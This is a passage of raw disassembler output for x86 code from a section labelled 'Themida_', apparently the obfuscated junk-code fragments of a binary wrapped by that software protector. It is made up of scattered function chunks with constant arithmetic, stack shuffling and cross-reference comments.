		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, 587F7D5Ch
		push	ebx
		dec	[esp+8+var_8]
		mov	ebx, [esp+8+var_8]
		jmp	loc_568E67
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_570CA7:				; CODE XREF: sub_560844+659Dj
		push	esi
		jmp	loc_572D35
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_570CAD:				; CODE XREF: sub_563819+10BAAj
		sub	edx, 39ED111Ch
		add	edx, edi
		add	edx, 39ED111Ch
		push	37CDh
		jmp	loc_56DF7F
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3AF


loc_570CC5:				; CODE XREF: sub_56D3AF-A4DBj
		add	[esp+0Ch+var_8], 6173036Bh
		pop	ebx
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	7380h
		jmp	loc_56EF88
; END OF FUNCTION CHUNK	FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_570CDE:				; CODE XREF: sub_569A84+9912j
		push	esp
		jmp	loc_564C44
; END OF FUNCTION CHUNK	FOR sub_569A84

; =============== S U B	R O U T	I N E =======================================



sub_570CE4	proc near		; DATA XREF: Themida_:0055FF20o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005608E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561EBA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005643CF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565346 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056660F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00567BBE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00567D24 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056808E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00569EE0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A138 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A706 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056BDFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571912 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572AE6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572F6D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573840 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0057391E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573F09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00573FC0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574FAE SIZE 0000000E BYTES

		lodsd
		add	eax, 2BF72B2Ah
		add	eax, ebx
		sub	esp, 4
		jmp	loc_567BBE
sub_570CE4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_570CF4:				; CODE XREF: sub_563A7F-1EE8j
		xor	dh, 0C3h
		sub	bl, dh
		pop	edx
		jmp	loc_574A08
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AA2B


loc_570CFF:				; CODE XREF: sub_56AA2B+11j
		push	ecx
		mov	ecx, 746B7BC8h
		shr	ecx, 5
		jmp	loc_569A6A
; END OF FUNCTION CHUNK	FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_570D0D:				; CODE XREF: sub_572E16-E647j
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 3CD64E29h
		jmp	loc_57267E
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_570D21:				; CODE XREF: sub_5685B2+3A90j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_566EBB
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_570D2E:				; CODE XREF: sub_571F6F-1382j
		not	edi
		push	ecx
		mov	ecx, 0B651D3E4h
		xor	edi, ecx
		jmp	loc_56A874
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_570D3D:				; CODE XREF: sub_56A119-C4j
		pop	ebx
		jmp	loc_563A54
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------


loc_570D43:				; CODE XREF: Themida_:005649E0j
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_56C990
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_570D4D:				; CODE XREF: sub_567D31-4AB9j
		sub	ebp, 60DB41C7h
		jmp	loc_560FC8
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_570D58:				; CODE XREF: sub_56DD54-5822j
		mov	[esp-4+arg_0], ecx
		sub	esp, 4
		mov	[esp+0], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ecx
		push	2012h
		mov	[esp+0], esi
		mov	esi, 763C69ECh
		push	ecx
		jmp	sub_5733CA
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_570D80:				; CODE XREF: sub_5738F4-4019j
		pop	edi
		xor	ebx, [esp+0]
		jmp	loc_56E19D
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_570D89:				; CODE XREF: sub_565B6E+B2F4j
		sub	ecx, 8AB49513h
		add	ebx, ecx
		pop	ecx
		add	eax, 78924C64h
		jmp	loc_571F68
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_570D9C:				; CODE XREF: sub_5634AF+Bj
		add	ebp, 4
		jmp	loc_570EFE
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_570DA7:				; CODE XREF: sub_5680FB+36AEj
		not	[esp+8+var_8]
		jmp	loc_56EFCA
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_570DAF:				; CODE XREF: sub_56E0B0-4868j
		add	esi, 6054B364h
		sub	edx, esi
		pop	esi
		xor	edx, 7BD226A1h
		xor	edx, 212F858h
		sub	eax, edx
		jmp	loc_56AF52
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_570DCB:				; CODE XREF: sub_564D26-2FC0j
		pop	ebp
		neg	edi
		xor	edi, 1EC6C30h
		push	1701h
		jmp	loc_56AA02
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_570DDE:				; CODE XREF: sub_569FB8+5ECj
		mov	[esp+6+var_6], edx
		push	ecx
		sub	esp, 4
		mov	[esp+0Eh+var_E], eax
		mov	al, 7Bh
		mov	cl, al
		mov	eax, [esp+0Eh+var_E]
		add	esp, 4
		shl	cl, 5
		dec	cl
		jmp	loc_56DD83
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_570E02:				; CODE XREF: sub_5754DA-7B6Cj
		neg	ch
		push	eax
		mov	al, 96h
		xor	ch, al
		pop	eax
		sub	al, ch
		mov	ecx, [esp+8+var_8]
		jmp	loc_561FB4
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_570E14:				; CODE XREF: sub_571C93+1DE7j
		mov	ecx, 417470F0h
		push	edx
		mov	edx, 35EA382Bh
		add	ecx, edx
		pop	edx
		jmp	loc_5727D1
; END OF FUNCTION CHUNK	FOR sub_571C93

; =============== S U B	R O U T	I N E =======================================



sub_570E27	proc near		; CODE XREF: sub_56616D+E998j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562C72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AC29 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B307 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057501F SIZE 00000007 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_56B307
sub_570E27	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_570E38:				; CODE XREF: sub_571289+6j
		push	esi
		mov	esi, 587A6C69h
		jmp	loc_56A3BB
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_570E43:				; CODE XREF: sub_56D464-9612j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_566D4A
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_570E51:				; CODE XREF: sub_569AB3-78A6j
		and	eax, edx
		jmp	loc_567995
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_570E58:				; CODE XREF: sub_565B6E+2B09j
		dec	ecx
		xor	ecx, 48C91322h
		shr	ecx, 4
		jmp	loc_570D89
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_570E67:				; CODE XREF: sub_571F6F-2FAAj
		add	bl, al
		sub	bl, 8Ch
		add	bl, 70h
		add	bl, 3
		sub	bl, 0B9h
		movzx	eax, al
		mov	dx, [esp+0]
		jmp	loc_57060E
; END OF FUNCTION CHUNK	FOR sub_571F6F

; =============== S U B	R O U T	I N E =======================================



sub_570E81	proc near		; DATA XREF: Themida_:0055FD00o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00561AC8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561BFC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056230A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056240B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564615 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056711C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00567A0F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005687BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568D09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569EAC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CC51 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056CCA3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056D56A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D8AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E3A9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056EFB0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057081E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571DBB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057479A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00575306 SIZE 00000007 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		jmp	loc_569EAC
sub_570E81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_570E92:				; CODE XREF: sub_5733CA+1953j
		sub	ebp, 0FD33847Dh
		jmp	loc_569F5D
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------


loc_570E9D:				; CODE XREF: Themida_:0056DFA5j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_567A33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_570EA7:				; CODE XREF: sub_571F6F-B86Ej
		shl	ch, 1
		jmp	loc_56625B
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_570EAE:				; CODE XREF: sub_574FC9-D4BAj
		add	ebx, 3FADAB44h
		push	ebx
		pop	edx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, 0C289AEB8h
		mov	ecx, edx
		pop	edx
		sub	esi, 4E6057D7h
		add	esi, ecx
		push	eax
		mov	eax, 28BF7674h
		push	edx
		mov	edx, 25A0E163h
		add	eax, edx
		pop	edx
		jmp	loc_56E755
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_570EE1:				; CODE XREF: sub_57354D-12E48j
		pop	ebx
		push	ebp
		jmp	loc_562F88
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_570EE8:				; CODE XREF: Themida_:0056A963j
		pop	edi
		not	esi
		push	ebp
		mov	ebp, 2DAB1ADAh
		jmp	loc_561A6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564686


loc_570EF6:				; CODE XREF: sub_564686+6j
		mov	[esp+4+var_4], ebp
		jmp	loc_565901
; END OF FUNCTION CHUNK	FOR sub_564686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_570EFE:				; CODE XREF: sub_5634AF+D8F3j
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], ecx
		push	esi
		push	ebp
		jmp	loc_56557F
; END OF FUNCTION CHUNK	FOR sub_5634AF

; =============== S U B	R O U T	I N E =======================================



sub_570F0F	proc near		; CODE XREF: sub_56AEF2-A953j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560402 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A408 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E3DB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E400 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056F9A9 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	4AECh
		mov	[esp+8+var_8], edx
		jmp	loc_56E400
sub_570F0F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_570F25:				; CODE XREF: sub_569A84-FB0j
		mov	[esp+4+var_4], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 5ED46F9Fh
		jmp	loc_564EE9
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_570F5B:				; CODE XREF: sub_56A119+7057j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_56FC95
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_570F64:				; CODE XREF: sub_564D26-1AF3j
		push	ecx
		push	4946h
		mov	[esp+1Ch+var_1C], edx
		push	58Dh
		jmp	loc_560AF7
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_570F77:				; CODE XREF: sub_57199D+3j
		add	ebx, 4
		jmp	loc_57049D
; END OF FUNCTION CHUNK	FOR sub_57199D

; =============== S U B	R O U T	I N E =======================================



sub_570F82	proc near		; CODE XREF: sub_5735AA-CD78j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056F7F2 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_56F7F2
sub_570F82	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_570F8D:				; CODE XREF: sub_5678CB+3CEj
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		dec	dl
		or	dl, 1Eh
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 306140E8h
		or	ebp, 4297637Eh
		or	ebp, 64652738h
		push	ebx
		jmp	loc_563E19
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_570FB7	proc near		; CODE XREF: sub_574304-B7B4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005605F5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564082 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056571C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565F2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BA40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056C458 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056D987 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056DB7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E385 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F507 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571233 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005715A7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057369F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005749BA SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], esi
		xor	[esp+8+var_8], 418D31C3h
		pop	ebx
		xor	ebx, 418D31C3h
		pop	esi
		jmp	loc_565F2C
sub_570FB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_570FD1:				; CODE XREF: sub_56C4FF+3049j
		inc	dword ptr [esp+0]
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_570FDA:				; CODE XREF: sub_56B11B+309j
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 4
		jmp	loc_56403B
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_570FF5:				; CODE XREF: sub_5653AD+4DEj
		xor	edx, edi
		pop	edi
		xor	edx, 0AFC7B217h
		jmp	loc_561A1A
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_571003:				; CODE XREF: sub_56616D+E409j
		push	esi
		mov	esi, esp
		jmp	loc_57347C
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_57100B:				; CODE XREF: sub_560EA2-C6j
		pop	ebx
		jmp	loc_572B46
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_571011:				; CODE XREF: sub_566C83+2706j
		add	esp, 4
		sub	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ecx
		push	134F459Eh
		pop	ecx
		push	ebx
		push	5F9E00CDh
		mov	ebx, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_572C7C
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726BB


loc_57103F:				; CODE XREF: sub_5726BB-AE6Aj
		pop	esp
		push	eax
		mov	eax, 2
		push	edi
		mov	edi, 41C54EF1h
		dec	edi
		shr	edi, 3
		jmp	loc_57473A
; END OF FUNCTION CHUNK	FOR sub_5726BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_571055:				; CODE XREF: sub_564D26+D61Ej
		pop	edi
		jmp	loc_57210B
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_57105B:				; CODE XREF: sub_567CF5+56E0j
		sub	edx, 2D615C1Eh
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_565ADD
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_57106C:				; CODE XREF: sub_56C3E2+223Aj
		add	ebx, 0FFFFFFFFh
		inc	ebx
		shl	ebx, 8
		sub	ebx, 128B3DD9h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56219D
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_571081:				; CODE XREF: sub_56E0B0-BDBCj
		pop	ecx
		pop	ebp
		jmp	sub_573167
; END OF FUNCTION CHUNK	FOR sub_56E0B0

; =============== S U B	R O U T	I N E =======================================



sub_571088	proc near		; CODE XREF: sub_5729F9-E67Fj

var_E		= dword	ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00560446 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560738 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560FDF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562289 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562F6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564134 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056423D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565713 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565EA5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565ECF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005665AF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566A1A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566BFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566DE6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005672A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00567B96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005681C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056843A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005688B9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569800 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A6B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056AB74 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056AEB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B19C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EB60 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056EE69 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F0EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F318 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F395 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F878 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570153 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005708A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570B5F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571FB5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057245A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057281E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573150 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573B54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574BC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574C42 SIZE 00000025 BYTES

		push	bx
		mov	bl, 0D2h
		add	al, bl
		pop	bx
		add	al, 0D5h
		add	al, 75h
		push	[esp+2+var_4+2]
		mov	ebx, [esp+6+var_8+2]
		jmp	loc_56AEB7
sub_571088	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57109F	proc near		; DATA XREF: Themida_:0055FEC0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005601A2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A338 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B0D4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B881 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0056D5CD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005720EF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00573ABF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573E4B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005741E8 SIZE 00000018 BYTES

		push	1FDEh
		mov	[esp+4+var_4], esi
		jmp	loc_56D5CD
sub_57109F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_5710AC:				; CODE XREF: sub_568764-351Bj
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56A6CB
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5710B9:				; CODE XREF: sub_574304+B35j
		mov	edx, ebp
		pop	ebp
		xor	esi, edx
		jmp	loc_56395A
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_5710C3:				; CODE XREF: sub_564CDA+1Cj
		add	eax, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		mov	[esp+0], eax
		mov	eax, 3FD319C6h
		jmp	loc_56F61F
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------


loc_5710E1:				; CODE XREF: Themida_:0056E21Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_56E5D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_5710F7:				; CODE XREF: sub_56638C-55E3j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5710FC:				; CODE XREF: sub_5620B7+3D3Cj
		dec	al
		xor	al, 0B8h
		mov	dh, al
		pop	eax
		jmp	loc_56A82B
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_571108:				; CODE XREF: sub_561F05+98E6j
		pop	eax
		add	ebp, esi
		pop	esi
		add	ebp, esi
		sub	ebp, 597361B3h
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, esp
		push	3497h
		mov	[esp+4+var_4], edx
		push	eax
		mov	eax, 50E64775h
		add	eax, 2915283Fh
		xor	eax, 4FA8128Bh
		dec	eax
		xor	eax, 499E11D3h
		add	eax, 80329317h
		mov	edx, eax
		jmp	loc_56F48C
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_57114E:				; CODE XREF: sub_56B06D-2119j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+24h+var_20]
		mov	ebp, [esp+0]
		add	esp, 4
		pop	[esp+24h+var_24]
		pop	esp
		jmp	loc_569C7B
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_57116D:				; CODE XREF: sub_56A119+7A4j
		push	dword ptr [esp+0]
		jmp	loc_570F5B
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_571175:				; CODE XREF: sub_5634AF+5DFBj
		push	eax
		jmp	loc_562CA5
; END OF FUNCTION CHUNK	FOR sub_5634AF

